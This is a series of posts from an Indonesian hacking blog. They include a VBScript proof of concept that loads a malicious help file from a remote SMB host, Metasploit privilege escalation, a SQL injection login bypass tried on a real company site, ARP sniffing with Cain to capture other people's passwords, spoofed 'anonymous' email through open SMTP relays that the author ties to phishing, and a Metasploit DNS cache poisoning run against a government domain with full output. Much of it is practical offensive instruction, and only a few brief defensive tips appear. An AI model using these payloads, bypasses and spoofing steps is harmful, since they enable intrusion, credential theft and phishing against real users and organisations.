Wednesday, June 2, 2010

Bug Internet Explorer

Atikel berikut ini merupakan artikel yang diusung oleh Kecoak Elektronik yang membahas tentang adanya bug pada intenet Explorer versi 6, 7 dan 8. Kenapa saya memasukkan artikel ini? Karena saya pikir, artikel ini sangatlah penting mengingat pengguna Internet Explorer sangatlah banyak.  Berikut artikel selengkapnya...


Pada tanggal 26 February 2010, Maurycy Prodeus mengeluarkan public disclosure terhadap bug internet explorer 6, 7, dan 8 yang dapat di-eksploitasi menggunakan malicious .HLP file. Berikut ini pernyataan dari maurycy,
It is possible to invoke winhlp32.exe from Internet Explorer 8,7,6
using VBScript. Passing malicious .HLP file to winhlp32 could allow
remote attacker to run arbitrary command.
Additionally, there is a stack overflow vulnerability in winhlp32.exe
Intinya, dengan memanfaatkan VBScript maka user dapat meng-ekesekusi winhlp32.exe untuk membuka suatu file bertipe .hlp (windows help file) melalui browser internet explorer 6, 7, 8. Dan jika file .hlp tersebut sudah dimodifikasi sehingga menjadi malicious .hlp maka user dapat di-eksploitasi untuk menjalankan malicious code. Pihak microsoft untuk sementara memasukan ekstensi file .hlp kedalam kategori ‘unsafe file types’.
Untuk men-trigger vulnerability diatas cukup unik dan membutuhkan interaksi dari user untuk menekan tombol F1 ketika MessageBox muncul. Syntax untuk menampilkan MessageBox melalui VBScript sebagai berikut,



MsgBox(prompt[,buttons][,title][,helpfile,context])


Windows help file pada syntax diatas dapat diakses menggunakan samba share, berikut ini PoC dari maurycy untuk men-trigger vulnerability tersebut dan membuat user mengkases malicious .hlp file dari samba share yang telah dipersiapkannya,

'<script type="text/vbscript">
// PoC pertama
big = "\\184.73.14.110\PUBLIC\test.hlp"
MsgBox "please press F1 to save the world", ,"please save the world", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
MsgBox "press F1 to close this annoying popup", ,"", big, 1
<'/script>

PoC tersebut dapat dilihat dari sini.
Jelas terlihat bahwa malicious .hlp file yang digunakan terletak pada \\184.73.14.110\PUBLIC\test.hlp. Ketika user terpancing untuk mengeksekusi maka win32hlp.exe akan berusaha membuka test.hlp tersebut yang justru mengakibatkan eksekusi calc.exe.
Maurycy memberikan PoC tambahan bahwa terdapat bug stack-overflow pada win32hlp.exe ketika mengeksekusi parameter dengan path yang sangat panjang, namun berhubung win32hlp.exe di-compile menggunakan feature /GS maka bug tersebut tidak dapat di-eksploitasi begitu saja.
Saat ini \\184.73.14.110\PUBLIC\test.hlp tidak dapat diakses lagi, namun metasploit sudah memasukan exploit win32hlp tersebut kedalam trunk terbarunya. Ketika tulisan ini dibuat, versi trunk yang dimaksud adalah SVN r8723. Jika kalian penasaran ingin melihat malicious .hlp yang sebelumnya digunakan oleh maurycy, maka dapat melihat dari direktori metasploit di ‘data/exploits/runcalc.hlp’.
Jduck meng-integrasikan exploit tersebut kedalam metasploit framework menggunakan fasilitas WebDAV, sehingga kita tidak perlu membuat samba server untuk dapat diakses oleh target. Dengan beberapa trik yang memanfaatkan protocol WebDAV kita dapat meng-eksploitasi target dengan vulnerability diatas. Kategori eksploit ini masuk dalam ‘browser exploitaion’.
Contoh penggunaannya silahkan lihat DISINI

Sampai saat ini saya masih belum bisa menemukan letak masalah ketika metasploit digunakan dilingkungan Mac OSX, pemanfaatan feature webdav nya tidak berjalan dengan baik. Namun untuk metasploit yang berjalan diatas windows, exploit tersebut berhasil dieksekusi dengan baik seperti pada contoh diatas (anyone tried on linux?).
Exploit ini dapat digunakan pada feature ‘browser autopwn’-nya metasploit, so buat kalian para whitehat mulai dapat menikmati exploit ini untuk ditunjukan pada client saat proses pentest *heh*.
Finish?no. Sebagaimana terlihat dalam judul diatas, ada satu hal lagi yang akan kita bahas :) .
Pada 19 Januari 2010 yang lalu, tavis ormandy merilis public disclosure yang cukup (sangat?) menghebohkan, terutama bagi para pemerhati dunia security windows. Advisories yang dirilis oleh taviso dapat dilihat dari sini, inti dari advisories tersebut adalah sistem operasi microsoft windows menyimpan bug yang sifatnya 0day sejak tahun 1993. Bug tersebut di-klaim tetap ada sejak rilis Windows NT pada tanggal 27 Juli 1993 hingga implementasi Windows 7 saat ini (semua x86 32-bit windows vulnerable).
Pada saat public disclosure tersebut muncul tidak banyak pihak yang memahami ‘fungsi’-nya, contoh berikut ini ditambahkan dengan tujuan jika memang ada masyarakat indonesia yang belum mengerti (i knew, some of you are lazy to read english reference) maka dapat memahami fungsi dari exploitasi bug tersebut.
Intinya adalah kitrap0d digunakan sebagai local exploit untuk mendapatkan akses system pada windows. Jadi ketika kita berhasil meng-eksploitasi aplikasi dalam microsoft windows, namun akses yang kita dapatkan terbatas dalam arti user yang mengeksekusi adalah user biasa (non-administrator), maka dengan memanfaatkan exploit kitrap0d tersebut kita akan mendapatkan akses system yang tentu saja memberikan akses lebih tinggi.
Contoh paling mudah adalah memanfaatkan browser bug sebagai pintu masuk, seperti yang telah ditunjukan pada contoh diatas (bug win32hlp.exe), kita akan melihat informasi berikut ini:

meterpreter > getuidServer username: XPSP2\user

Hal tersebut didapatkan karena user yang dieksploitasi oleh exploit ie_win32hlp menggunakan user biasa (nama user nya ‘user’) ketika mengeksekusi exploit, dan ini biasanya dilakukan oleh ratusan bahkan ribuan pengguna komputer dalam suatu perusahaan atau organisasi dimana login kedalam windows tidak menggunakan hak akses administrator.
Metasploit mem-bundle exploit kitrap0d dengan meterpreter, sehingga kita dapat dengan mudah melakukan local exploit pada target windows untuk mendapatkan hak akses ’system’ jika paylod yang digunakan adalah meterpreter. Contohnya klik DISINI
Baca Selengkapnya...

Sunday, May 30, 2010

Exploit

Exploit atau exploitasi merupakan sebuah aksi yang memanfaatkan celah atau kelemahan pada sebuah system, bisa juga berupa bug yang terdapat pada system tersebut.
Exploit digunakan untuk menjalankan sebuah perintah yang akan memberikan akses khusus untuk melakukan tujuan tertentu yang tidak dapat dilakukan pada kondisi normal. Exploit sendiri deprogram dengan menggunakan bahasa C, perl, atau sh. Untuk mendapatkan exploit itu tidaklah susah, banyak sekali situs yang menyediakannya. Sebut saja milworm, antionline, packetstormsecurity, dll.
Exploit bisa dibedakan kedalam dua kategori,

Exploit Lokal
Exploit lokal dapat dilakukan hanya apabila seseorang memiliki hak akses untuk menggunakan sebuah sistem, atau exploit yang hanya digunakan pada kompuer itu sendiri. Contoh exploit lokal
- Buffer Overflow
- Race Conditions

Remote Exploit
Remote exploit dapat terjadi dimana seseorang bisa mengeksploitasi sistem tanpa harus mengetahui username dan password, atau exploit yang dapat dieksekusi dari jarak jauh. Biasanya remote exploit bisa jadi lokal exploit walaupun tidak sebaliknya.

Berikut ini saya berikan sebuah contoh exploit yang cukup terkenal yaitu brute_ssl. Exploit ini dibuat untuk mengilustrasikan sebuah kelemahan pada HTTP Basic Authorization. Protokol HTTP mengizinkan user untuk keluar dengan membuat banyak guest. Exploit ini akan terkoneksi dengan web server yang secure ataupun yang umum dan mencoba untuk mengalikan kombinasi username dan password sampai ditemukan yang tepat.
Untuk melakukannya diperlukan liberary SSLeay yang bisa didapatkan dari ftp://ftp.psy.ug.oz.au/pub/crypto/SSL/ ini bekerja pada SSLeay – 0.8.0 setelah di build, jalankan dengan perintah:
Cc –o brute_ssl –l/usr/local/ssl/include brute_ssl.c \
-l /usr/local/ssl/lib –lssl –lcrypto

Jalankan binary tanpa argument apapun untuk melihat parameternya.

Berikut scriptnya:




Script diatas bisa anda dapatkan Disini



Baca Selengkapnya...

Wednesday, January 7, 2009

SQL Injection

Kali ini kita akan membicarakan sedikit tentang SQL Injection, disini kita akan membahas tentang kemungkinan celah untuk melakukan penyerangan melalui SQL Injection. Berbeda dengan penyerangan XSS yang berdampak pada pengunjung sebuah situs, penyerangan SQL Injection langsung menyerang pada situs itu sendiri dan tentu saja yang menjadi sasaran adalah database nya.
Saya akan mengambil contoh situs BUMN yang cukup besar. Walaupn data yang kita peroleh dari contoh berikut bukan sesuatu yang teramat penting, tapi dari sini kita bisa melihat bahwa para administrator masih banyak yang lalai terhadap sisi keamanan dan kredibilitas baik admin ataupun perusahaan menjadi taruhannya.





















Pada form login kita masukkan ' or ' dan hal serupa kita masukkan pada field password






















hasilnya akan tampak seperti berikut






















atau kita ambil contoh kode lainnya

' or ' ='

mengapa bisa demikian?
Pada form login, pada umumnya statment nya sebagai berikut:

SELECT * FROM tabel WHERE field_username = input _username AND field_password = input_password

begitu kita mengekseskusi ' or ' =' maka perintahnya akan menjadi

SELECT * FROM tabel WHERE field_username "or"='' AND field_password = ''OR'' = ''

Logika OR menyebab kan perintah SQL selalu mengembalikan nilai true sehingga sistem akan mengizinkan anda masuk ke wilayah yang seharusnya dimasuki oleh member atau admin.

Untuk bahan percobaan, silahkan gunakan sebuah sistem yang memang dibuat dengan celah keamanan dari sisi SQL Injection sangat terbuka. Anda bisa sedot dari www.foundstone.com/us/resourse-free-tools.asp dengan nama file hacmebank atau hacmebank2_source.zip

Hal yang perlu anda persiapkan untuk menjalankan sistem tersebut adalah:
1. Microsoft.NET Framework v1.1
2. Microsoft IIS
3. MSDE 2000Release A

Sebenarnya, banyak hal yang bisa dilakukan untuk aksi penyerangan melalui SQL Injection, namun disini saya hanya ingin membahas tentang apa itu SQL Injection seperti apa alur logika nya dan cara yang saya gunakan di atas adalah cara yang biasa dilakukan untuk penetrasi awal. Jadi untuk hal-hal yang lebih lanjut anda bisa googling untuk mendapatkan cara ataupun cheat code nya.

Lantas apa yang bisa dilakukan untuk mencegah hal tersebut?
1. kesadaran individu terhadap keamanan akan sistem yang dikelolanya dalam hal ini sang admin. Umumnya username menggunakan id "admin", cobalah ganti dengan 4Dm1n atau sebagainya, hal ini dimaksudkan agar tidak mudah ditebak
2. lakukan penyaringan pada field, batasi jumlah karakter hanya pada a-z, A-Z, 1-0, ("_","@","." bila anda menggunakan id dengan email), tolak karakter khusus seperti *, &, ' dsb.
3. Anda bisa menggunakan tools dari pihak ketiga untuk menguji sistem yang anda buat.
4. perhatikan script dan syntax nya.
5. dll


Baca Selengkapnya...

Saturday, December 20, 2008

Sniffing Dengan Cain Part II

kPada tulisan ini, saya hanya menyambung bahasan tentang cain yang pernah dibicarakan sebelumnya. Untuk mendapatkan tool nya silahkan sedot di http://oxid.it/cain.html, jadi untuk mengetahui tentang fungsi-fungsinya silahkan baca pada tulisan sebelumnya.




























1. Klik Configure, kemudian akan muncul




























Klik Ok

2. Klik tombol Start/Stop sniffer
3. Klik tombol Start/Stop APR
4. Klik tab Sniffer

Simpel, kan? Yang perlu diperhatikan ialah configurasi dari jaringan itu sendiri, hal ini berhubungan dengan sang admin dalam membangun jaringannya.
Pada tulisan sebelumnya, saya menganjurkan untuk melakukan ping terhadap kompy target, dengan tujuan supaya komputer kita terhubung dengan komputer target.























Sebenarnya, untuk melakukan komunikasi dengan komputer target, bukan hanya pinging yang bisa kita lakukan, anda bisa menggunakan Yahoochecker, selain nyari username dan password kita juga bisa memonitor target, barangkali dia sedang chat di YM.

Untuk tool nya, bisa Anda sedot di http://www.download3k.com/Install-IMMonitor-Yahoo-Messenger-Spy.html
namun, yang anda dapatkan adalah versi trial, anda bisa memasukkan kode 4BE6183BB5841628 supaya tidak menunggu counter.


















Selanjutnya, bagaimana cara kita menghindari aksi sniffing tersebut?

Selain dengan cara merubah type MAC Address dari dynamic ke static, anda juga bisa mempersiapkan form login yang biasa anda gunakan dari local drive atau gunakan web yang menyediakan form login. Misalnya pada http://xpemula terdapat form login untuk yahoomail, itu bisa anda gunakan.




























karena pada beberapa kasus cain akan membaca alamat xpemula walaupun sebenarnya kita sudah berada di dalam yahoomail



























Selain itu, cain biasanya hanya mampu menangkap 10 karakter dari password, jadi buatlah password minimal lebih dari 10 karakter.


Semoga tulisan ini bisa lebih memperjelas tentang cara penggunaan cain

Baca Selengkapnya...

Tuesday, September 2, 2008

Mengirim Email Kaleng

Kejadian ini terjadi beberapa waktu yang lalu ketika saya bermaksud memberitahukan kepada seorang teman bahwa ID dan Paaword nya telah berhasil disadap ketika ia berselancar di sebuah warnet. Karena saya punya pengalaman buruk dimana saat memberitahukan hal semacam ini kepada yang bersangkutan justru saya yang dituduh, maka saya putuskan untuk memberitahunya melalui email kaleng (tanpa pengirim yang jelas). Inilah yang akan kita bahas pada tulisan kali ini.
Pada dasarnya, yang saya gunakan disini adalah memanfaatkan server yang membuka port 25 dengan telnet. Telnet sendiri merupakan protokol yang menggunakan protokol TCP/IP dan digunakan untuk melakukan koneksi dengan remote komputer.
Untuk mencari server yang membuka port 25, silahkan gunakan tool scaner yang anda sukai.
Kita asumsikan Anda telah mendapatkan target, kemudian lakukan langkah berikut:
1. Pada Command Prompt ketikkan: telnet target 25 kemudian enter. Perhatikan gambar dibawah ini, disini saya menggunakan 202.169.224.5, jadi perintahnya menjadi telnet 202.169.224.5 25.


2. Setelah anda masuk ke server

ketikkan HELO [nama.server.smtp] enter

3. Masukkan alamat pengirim dengan format MAIL FROM: alamat@pengirim [enter]. Misalnya MAIL FROM: black_signal@xpemula.tk



4. Setelah mucul tulisan '250 ok' masukkan alamat pengirim dengan format RCPT TO: alamat@pengirim [enter]. Sebagai contoh email i9ni saya tujukan ke alamat email saya yang beralamat di cord_weapon@yahoo.it, jadi perintah lengkapnya menjadi RCPT TO: cord_erapon@yahoo.it


5. Tulisan '250 ok' akan kembali muncul. Ketikkan DATA diikuti enter


6. Kali ini tulisan yang keluar '354 go ahead', setelah itu ketikkan isi pesannya. Misalnya seperti ini..
FROM: black_signal@xpemula.tk
CC:
Subject: Mengirim Email Kaleng
Date: Tue, 02 September 2008

Saya mencoba untuk mengirim email dengan alamat semau saya, hal ini saya lakukan agar si penerima tidak mengetahui dari siapa email ersebut datang. Deangan demikian identitas saya sebagai pengirim tidak akan diketahui penerima.

Terima kasih
.


Perhatikan tanda '.' (titik) paling bawah. Tanda titikk merupakan akhir dari statment yang menandakan penulisan email telah selesai dan email harus segera dikirim. Setelah titik diikuti enter 2 kali.
Untuk mengecek kebenarannya, mari kita buka email tujuan tadi.


Tips: Apabila anda salah dalam mengetikkan perintah, anda harus mengulang dari awal sebab sistem akan membaca string gabungan yang lama dan yang baru anda ketikkan.

Tambahan: Cara pengiriman email diatas sering digunakan oleh para pencuri data untuk mengelabui nasabah bank dengan mengirim email atas nama bank yang bersangkutan.


Baca Selengkapnya...

Wednesday, August 20, 2008

BUG DNS

Issue ke-19 echo

Bugs DNS yang ditemukan oleh Dan Kaminsky merupakan bugs DNS paling parah sepanjang sejarah internet, beberapa pihak bahkan menyebutkan bugs DNS ini merupakan bugs paling parah diantara seluruh jenis bugs yang pernah ditemukan. Rasanya memang tidak salah jika Dan merencanakan metode patch yang baru pertama kali dilakukan oleh dunia sejak internet ditemukan dimana rilis patch dilakukan secara bersamaan dengan dukungan lebih dari 80 vendor DNS.

Jenis hole yang ditemukan oleh Dan Kaminsky merupakan perpaduan antara old attack #1 dan old attack #2. Hole tersebut memanfaatkan kelemahan QID yang hanya 16 bit disertai penggunaan protokol UDP sehingga dapat di bruteforce menggunakan paket flooding, dan memanfaatkan kelemahan pada "bailiwick checking". Bentuk response dari hole Dan kaminsky sebagai berikut:

;; QUESTION SECTION:
;notexist.depkominfo.go.id. IN A

;; ANSWER SECTION:
notexist.depkominfo.go.id. 120 IN A 41.41.41.41

;; AUTHORITY SECTION:
depkominfo.go.id. 86400 IN NS www.depkominfo.go.id.

;; ADDITIONAL SECTION:
www.depkominfo.go.id. 604800 IN A 41.41.41.42

Penyerang berusaha untuk membuat resolver melakukan query terhadap notexist.depkominfo.go.id, dan kemudian juga sekaligus mengirimkan response untuk notexist.depkominfo.go.id pada bagian answer, menyediakan informasi authority nameserver domain tersebut pada bagian authority section, dan...memberikan alamat IP nameserver domain tersebut pada bagian additional section. Harap diingat bahwa penyerang juga harus menyesuaikan QID response yang dikirimkan agar data tipuan tersebut dimasukan pada cache dns target. Jika berhasil, maka cache dns server akan teracuni informasi palsu dan mengarahkan semua request depkominfo.go.id menuju nameserver yang telah dipersiapkan oleh penyerang.

Hole ini berhasil mematahkan proses in-bailiwick checking resolver. Nameserver/resolver yang dijadikan target serangan akan percaya sepenuhnya pada response tersebut karena www.depkominfo.go.id memang berada didalam bailiwick checking (*.depkominfo.go.id).

That's it?! so simple, isn't it? :).


======= Teknik Eksploitasi ---|

Dengan adanya public disclosure mengenai hole ini, maka exploit beserta aksi kejahatan lainnya merebak dalam waktu kurang dari 24 jam. Pada bagian akhir kita akan membahas kemungkinan jenis kejahatan yang dapat dilakukan dengan memanfaatkan hole ini. Teknik eksploitasi ada berbagai macam, selain logic serangan yang akan mempengaruhi hasilnya, bahasa pemrograman yang digunakan juga ikut berperan serta. Berdasarkan keterangan Dan kaminsky, awalnya digunakan python sebagai eksploit namun karena terlalu lamban maka diganti menggunakan C. C diklaim dapat melakukan dns cache poisoning suatu resolver dalam watu kurang dari 1 menit (kecepatan internet juga mempengaruhi). Berikut ini permasalahan yang dihadapi untuk membuat eksploit hole diatas:

1. QID/TXID

Inti dari hole Kaminsky adalah pada bailiwick checking, namun kita tetap berhadapan dengan masalah QID DNS. Untuk implementasi DNS server saat ini dimana QID merupakan data 16 bit maka dibutuhkan mekanisme agar dapat lebih dahulu memberikan response dengan QID yang tepat kepada resolver. Bentuk eksploit saat ini menggunakan trik non-exist domain, misal: aaaa.google.com, aaab.google.com, dst. Sehingga apabila paket response dari nameserver asli datang lebih dulu maka jawabannya adalah NXDOMAIN (non-exist domain), sedangkan jika pake response hasil spoofing kita sampai lebih dulu maka jawabannya adalah alamat nameserver (A). Tehnik bruteforce QID ada berbagai macam dan dapat digunakan untuk meloloskan paket bruteforce response kita.

2. UDP Protocol

Hal ini berkaitan dengan konfigurasi dan implementasi nameserver itu sendiri. Beberapa nameserver menggunakan random source port saat melakukan dns query, sehingga jika kita ingin melakukan spoofing paket response bukan hanya harus menebak QID yang digunakan server tersbut saat mengirimkan query namun juga harus menebak source udp port yang digunakan. Hal ini menambah kompleksitas bruteforce menjadi 2^16 x 2^16 (16 bit QID x 16 bit source udp port).

3. Speed

Kecepatan koneksi juga ikut mempengaruhi proses bruteforce, hal ini adalah masalah klasik. Jika kita menggunakan koneksi dial-up (telkomnet????) untuk menyerang nameserver suatu ISP mungkin akan sia-sia, karena koneksi antara DNS server ISP dengan DNS server domain yang asli lebih cepat dibandingkan koneksi kita dengan DNS ISP maka paket response dari DNS server domain asli akan sampai lebih dulu. Hal ini mungkin akan berbeda jika kita bisa memiliki koneksi yang sangat cepat. Teknik paling mudah adalah menyerang DNS lokal (warnet, sekolah, kantor, dll) karena koneksi antara komputer yang kita gunakan untuk menyerang umumnya lebih cepat dibandingkan koneksi antara DNS server lokal tersebut dengan DNS server domain asli.

4. Recursive

Beberapa konfigurasi DNS server tidak mengijinkan dilakukan recursive query, atau membatasi recursive query hanya pada network tertentu sehingga akses melakukan eksploitasi terbatas hanya pada lokal area network tempat DNS server tersebut berada.


======= Exploit in Action ---|

Untuk contoh penggunaan eksploit dan efeknya penulis menggunakan metasploit framework. Dalam real attack penggunaan metasploit framework jelas kurang efisien karena masih terlalu lama untuk dapat sukses melakukan injeksi, terlebih lagi jika kita menggunakan koneksi yang lamban (somehow, masalah ini bisa diatasi, mis: dengan melakukan serangan via salah satu mesin korban lain yang telah di own dan memiliki bandwidth tinggi ;) ), namun prinsip kerja metasploit (terutama kalkulasi jumlah spoofing paket per query dan response) cukup lengkap untuk dijadikan sebagai referensi.



msf auxiliary(bailiwicked_domain) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN depkominfo.go.id yes The domain to hijack
NEWDNS 192.168.2.105 yes The hostname of the replacement DNS server
RECONS 208.67.222.222 yes The nameserver used for reconnaissance
RHOST 192.168.2.102 yes The target address
SRCADDR Real yes The source address to use for sending the queries (accepted: Real, Random)
SRCPORT 53 yes The target server's source query port (0 for automatic)
TTL 44910 yes The TTL for the malicious host entry
XIDS 0 yes The number of XIDs to try for each query (0 for automatic)

msf auxiliary(bailiwicked_domain) > exploit
[*] Targeting nameserver 192.168.2.102 for injection of depkominfo.go.id. nameservers as 192.168.2.105
[*] Querying recon nameserver for depkominfo.go.id.'s nameservers...
[*] Got an NS record: depkominfo.go.id. 3496 IN NS ns.depkominfo.go.id.
[*] Querying recon nameserver for address of ns.depkominfo.go.id....
[*] Got an A record: ns.depkominfo.go.id. 3496 IN A 222.124.199.71
[*] Checking Authoritativeness: Querying 222.124.199.71 for depkominfo.go.id....
[*] ns.depkominfo.go.id. is authoritative for depkominfo.go.id., adding to list of nameservers to spoof as
[*] Got an NS record: depkominfo.go.id. 3496 IN NS ns1.depkominfo.go.id.
[*] Querying recon nameserver for address of ns1.depkominfo.go.id....
[*] Calculating the number of spoofed replies to send per query...
[*] race calc: 100 queries | min/max/avg time: 1.11/188.08/3.72 | min/max/avg replies: 368/65438/1313
[*] Sending 1969 spoofed replies from each nameserver (1) for each query
[*] Attempting to inject poison records for depkominfo.go.id.'s nameservers into 192.168.2.102:53...
[*] Poisoning successful after 250 queries and 492250 responses: depkominfo.go.id. == 192.168.2.105
[*] Auxiliary module execution completed


Jasmine:~ Cyberheb$ dig -t NS @192.168.2.102 depkominfo.go.id

; <<>> DiG 9.4.1-P1 <<>> -t NS @192.168.2.102 depkominfo.go.id
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49356 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;depkominfo.go.id. IN NS ;; ANSWER SECTION: depkominfo.go.id. 41164 IN NS 192.168.2.105. ;; Query time: 37 msec ;; SERVER: 192.168.2.102#53 (192.168.2.102) ;; WHEN: Sun Aug 3 18:49:22 2008 ;; MSG SIZE rcvd: 61
Pada demo diatas, kita melakukan cache poisoning terhadap DNS server 192.168.2.102 untuk domain depkominfo.go.id, hasil akhirnya seluruh query domain depkominfo.go.id akan diarahkan pada DNS server 192.168.2.105. Seluruh client yang menunjuk 192.168.2.102 juga akan mendapatkan hasil yang sama. Metasploit menggunakan opendns untuk proses RECONS authoritative DNS server domain depkominfo.go.id, hal ini dilakukan untuk mencegah data tersebut masuk cache DNS server target jika dilakukan query secara langsung (asumsi kita belum tau nameserver untuk domain depkominfo.go.id). FYI, kita tidak hanya dapat menggunakan opendns, namun juga bisa menggunakan open DNS server yang lain. Phoenix dari k-elektronik pernah membuat tools untuk mencari open DNS server ini pada internet. Setelah mendapatkan informasi authoritative nameserver, metasploit akan menghitung berapa jumlah response terhadap setiap query yang dikirimkan, dengan ini diharapkan proses bruteforce QID akan lebih efisien. Berikut ini hasil capture paket-paket data yang sampai di DNS target, dan akan memperlihatkan implementasi dari 'asumsi' yang dilontarkan oleh halvar flake saat membuka rahasia hole DNS Dan Kaminsky: Internet Protocol, Src: 192.168.2.105 (192.168.2.105), Dst: 192.168.2.102 (192.168.2.102) User Datagram Protocol, Src Port: 47498 (47498), Dst Port: domain (53) Domain Name System (query) [Response In: 276016] Transaction ID: 0xffd4 Flags: 0x0100 (Standard query) 0... .... .... .... = Response: Message is a query .000 0... .... .... = Opcode: Standard query (0) .... ..0. .... .... = Truncated: Message is not truncated .... ...1 .... .... = Recursion desired: Do query recursively .... .... .0.. .... = Z: reserved (0) .... .... ...0 .... = Non-authenticated data OK: Non-authenticated data is unacceptable Questions: 1 Answer RRs: 0 Authority RRs: 0 Additional RRs: 0 Queries VmlcscEEItDB9.depkominfo.go.id: type A, class IN Name: VmlcscEEItDB9.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Internet Protocol, Src: 192.168.2.102 (192.168.2.102), Dst: 222.124.199.71 (222.124.199.71) User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53) Domain Name System (query) [Response In: 276013] Transaction ID: 0x2e16 Flags: 0x0010 (Standard query) 0... .... .... .... = Response: Message is a query .000 0... .... .... = Opcode: Standard query (0) .... ..0. .... .... = Truncated: Message is not truncated .... ...0 .... .... = Recursion desired: Don't do query recursively .... .... .0.. .... = Z: reserved (0) .... .... ...1 .... = Non-authenticated data OK: Non-authenticated data is acceptable Questions: 1 Answer RRs: 0 Authority RRs: 0 Additional RRs: 1 Queries VmlcscEEItDB9.depkominfo.go.id: type A, class IN Name: VmlcscEEItDB9.depkominfo.go.id Type: A (Host address) Class: IN (0x0001) Additional records : type OPT

Name:
          Type: OPT (EDNS0 option)
UDP payload size: 4096
Higher bits in extended RCODE: 0x0
EDNS0 version: 0
Z: 0x8000
Bit 0 (DO bit): 1 (Accepts DNSSEC security RRs)
Bits 1-15: 0x0 (reserved)
Data length: 0

Internet Protocol, Src: 222.124.199.71 (222.124.199.71), Dst: 192.168.2.102 (192.168.2.102)
User Datagram Protocol, Src Port: domain (53), Dst Port: domain (53)
Domain Name System (response)
Transaction ID: 0x7eed
Flags: 0x8500 (Standard query response, No error)
1... .... .... .... = Response: Message is a response
.000 0... .... .... = Opcode: Standard query (0)
.... .1.. .... .... = Authoritative: Server is an authority for domain
.... ..0. .... .... = Truncated: Message is not truncated
.... ...1 .... .... = Recursion desired: Do query recursively
.... .... 0... .... = Recursion available: Server can't do recursive queries
.... .... .0.. .... = Z: reserved (0)
.... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
.... .... .... 0000 = Reply code: No error (0)
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 1
Queries
VmlcscEEItDB9.depkominfo.go.id: type A, class IN
Name: VmlcscEEItDB9.depkominfo.go.id
Type: A (Host address)
Class: IN (0x0001)
Answers
VmlcscEEItDB9.depkominfo.go.id: type A, class IN, addr 135.177.94.73
Name: VmlcscEEItDB9.depkominfo.go.id
Type: A (Host address)
Class: IN (0x0001)
Time to live: 12 hours, 28 minutes, 30 seconds
Data length: 4
Addr: 135.177.94.73
Authoritative nameservers
depkominfo.go.id: type NS, class IN, ns 192.168.2.105
Name: depkominfo.go.id
Type: NS (Authoritative name server)
Class: IN (0x0001)
Time to live: 12 hours, 28 minutes, 30 seconds
Data length: 15
Name server: 192.168.2.105
Additional records
192.168.2.105: type A, class IN, addr 135.177.94.73
Name: 192.168.2.105
Type: A (Host address)
Class: IN (0x0001)
Time to live: 12 hours, 28 minutes, 30 seconds
Data length: 4
Addr: 135.177.94.73


Dari struktur diatas, kita dapat melihat attacker (192.168.2.105) mengirim query untuk VmlcscEEItDB9.depkominfo.go.id, kemudian resolver/dns server yang dijadikan target (192.168.2.102) akan melakukan recursive dns query untuk mencari authoritative dns server domain depkominfo.go.id serta menanyakan jawaban untuk server VmlcscEEItDB9.depkominfo.go.id, saat resolver tersebut mencari jawaban dari authoritative dns server attacker mengirimkan flooding response untuk pertanyaan tersebut. Dan jika QID response-nya sama dengan QID query resolver maka cache resolver akan teracuni, dan dengan metasploit hal ini
paling tidak membutuhkan sekitar 3 menit. Konidisi race inilah yang menentukan apakah proses poisoning berhasil, jika response dari authoritative dns server domain depkominfo.go.id lebih dulu datang maka response berisi NXDOMAIN (non-existant domain) akan diberikan kepada resolver, dan resolver akan meneruskan kepada attacker. Seluruh flood yang tersisa untuk query tersebut akan di-discard oleh resolver.

Selengkapnya baca di http://www.ezine.echo.or.id/ezine19/e19.008.txt
Baca Selengkapnya...

Sunday, August 10, 2008

Ngisengin Orang

Kenapa Saya memberi judul pada tulisan kali ini”Ngisengin Orang”? Karena kali pertama saya menggunakan ini hanya untuk iseng pada sebuah room di sebuah warnet.

Kali ini saya ingin menyentuh tentang sebuah bahasa pemrograman yaitu VBS untuk mengirimkan pesan pada komputer lain yang berada dalam satu jaringan. Pada prinsipnya disini menggunakan Net Send, bedanya ada sedikit modifikasi dengan menggunakan VBScript.

Berikut adalah script nya:


Option Explicit


Const MyApp = "Send Network Message, By: BlackSignal"

Const Netsend = "%COMSPEC% /C %SystemRoot%\system32\NET.EXE SEND"

Const WindowStyle = 0

Const WaitOnReturn = False


Dim sCommand, sSendto, sMessage

Dim oSh


On Error Resume Next


If Not IsWinnt() Then

Wscript.Echo "Script ini hanya berlaku untuk windows berbasis NT"

Wscript.Quit(1)

End If


sSendto = InputBox("Masukkan nama komputer target atau IP Address atau gunakan karakter * untuk pengiriman massal", MyApp)

If sSendto = "" Then Wscript.Quit(1)

sCommand = Netsend & " " & sSendto


sMessage = InputBox("Ketikkan pesan Anda:", MyApp)

If sMessage = "" Then Wscript.Quit(1)

sCommand = sCommand & " " & sMessage


Set oSh = CreateObject("Wscript.Shell")

oSh.Run sCommand, WindowStyle, WaitOnReturn

Set oSh = Nothing


Private Function IsWinnt()


Const OSNT = "Windows_NT"

Dim oSh

Dim sOS


IsWinnt = False


Set oSh=CreateObject("Wscript.Shell")

sOS = oSh.ExpandEnvironmentStrings("%OS%")

Set oSh = Nothing


If sOS = OSNT Then IsWinnt = True


End Function



Script tersebut disimpan dalam ekstensi .vbs
Cara kerja dari script ini adalah mengirimkan pesan ke komputer target dengan memasukkan alamat IP Address target atau dengan memasukkan karakter * untuk pengiriman massal.

Tampilannya seperti gambar dibawah ini.

Thanks to:

Okki Navarone

Efvy Zamidra Zam

Lirva32


Baca Selengkapnya...

Monday, April 21, 2008

Bermain-main dengan Yahoo Messenger

Seorang hacker biasanya cenderung memilih client yang ada di channel IRC sebagai korbannya, hal ini karena IRC lebih tidak teratur dan biasanya tidak dimoderasi. Keadaan ini akan lebih memudahkan hacker untuk menyerang korbannya.
Seorang hacker bisa memonitor apa yang ditulis oleh korbannya dan dengan siapa saja dia melakukan komunikasi di IRC. Untuk melakukan hal itu, hacker hanya perlu menyusupkan script ke system korban.

Fungsi script diatas adalah untuk mengirimkan pesan ke channel yang sudah ditentukan. Script ini pernah hits di awal tahun 2003an.

